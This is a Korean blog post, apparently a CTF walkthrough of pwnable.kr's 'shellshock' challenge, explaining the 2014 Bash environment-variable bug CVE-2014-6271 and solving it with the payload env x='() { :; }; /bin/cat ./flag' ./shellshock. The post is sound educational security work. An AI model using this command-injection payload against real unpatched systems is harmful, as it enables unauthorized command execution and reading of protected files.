White Security
Shellshock 문제풀이 본문
Mommy, there was a shocking news about bash. I bet you already know, but lets just make it sure :) ssh shellshock@pwnable.kr -p2222 (pw:guest)
쉘 쇼크는 2014년에 발표된
Bash 환경변수 설정 관련 취약점으로
동일년도에 발표된 하트 블리드 보다도
심각하다고 진단 되었습니다.
쉘쇼크 취약점이란 무엇인지
간단하게 개념 설명을 하고 넘어 가겠습니다.
shellshock@ubuntu:~$ foo() { echo hello; } shellshock@ubuntu:~$ foo hello
Bash 에서는 함수를 작성할 수 있습니다.
여타 언어들과 유사하게
중괄호 사이에 명령문을 삽입해 주는 것으로 선언이 가능한데
중괄호와 명령문 사이에 공백이 필요하다는 것을 제외하면
간단하게 사용이 가능합니다.
shellshock@ubuntu:~$ export foo='() { echo hello2; }' shellshock@ubuntu:~$ ./bash shellshock@ubuntu:~$ foo hello2
함수를 환경변수 내에
선언하는 것도 가능합니다.
다만 바로 사용할 수 없고
환경변수에 함수를 선언하고
새롭게 서브쉘을 열어주면
부모쉘의 환경변수를 복사해 오는 과정에서
선언이 되는 것이지요.
HOME=/home/shellshock LANGUAGE=en_US: LOGNAME=shellshock SSH_CONNECTION=61.84.181.30 50563 192.168.1.186 22 x=foo() { echo 123; } XDG_RUNTIME_DIR=/run/user/1019 _=/usr/bin/env
명령문 실행시
부모쉘의 환경변수의 내용은 위과 같아지는데
x의 환경변수를 가져오는 과정에서
foo() { echo 123; }
이 실행되어 함수가 정의됩니다.
shellshock@ubuntu:~$ export foo='() { return; }; echo hello' shellshock@ubuntu:~$ env | grep foo foo=() { :; }; echo hello shellshock@ubuntu:~$ ./bash hello
문제는 함수 정의문 뒤에
명령문을 붙여넣을 경우에 발생합니다.
이미 중괄호가 닫혔기에
뒷 부분은 무시되어야 하지만
그렇지 못하고
함수에 속하지 않기 때문에
별도로 호출하지 않아도
서브쉘만 생성된다면 환경변수가 초기화되는 과정에서
뒤의 명령어는 실행됩니다.
env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
추가로 환경변수를 설정하는 방법 중에는
env 라는 명령어도 존재하는데
환경변수 설정 후에 실행될 명령문을
뒤쪽에 추가하는 것이 가능합니다.
shellshock@ubuntu:~$ env x='() { :; }; echo hello' ./bash -c '' hello
따라서 위와 같은 한 문장으로
환경변수 설정 및 서브쉘 생성을 동시에 할 수 있습니다.
추가로 함수 내부에 속한
: (colon)은 Bash의 빌트인 변수이며
관례적으로 true 를 대신해서 쓰이는 것으로
문장을 줄이기 위해 사용했습니다.
total 960 -r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash -r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag -r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock -r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
문제로 돌아와서, 파일을 조회해보면
추가로 Bash 바이너리가 존재합니다.
shellshock@ubuntu:~$ ./bash --version GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
버전을 조회해보니 구버전으로
쉘쇼크 패치가 이루어지지 않은 상태였습니다.
#include <stdio.h> int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0; }
소스를 살펴보면 system 함수를 사용해서
구버전 Bash를 통해 서브쉘을 생성하고 있습니다.
쉘쇼크를 적용할 수 있는 환경인 것이지요.
shellshock@ubuntu:~$ export x='() { :; }; /bin/cat ./flag' shellshock@ubuntu:~$ ./shellshock only if I knew CVE-2014-6271 ten years ago..!!
환경변수에 플래그를 출력하도록
명령문을 집어넣은 후에 바이너리를 실행하자
플래그를 얻을 수 있었습니다.
shellshock@ubuntu:~$ env x='() { :; }; /bin/cat ./flag' ./shellshock
위에서 언급한 것과 같이
한 문장으로 축약하는 것도 가능합니다.
'Wargame Writeups > pwnable.kr' 카테고리의 다른 글
Blackjack 문제풀이 (0) | 2019.02.10 |
---|---|
Coin1 문제풀이 (0) | 2019.02.09 |
Mistake 문제풀이 (0) | 2019.02.08 |
Leg 문제풀이 (0) | 2019.02.08 |
Input 문제풀이 (0) | 2019.02.07 |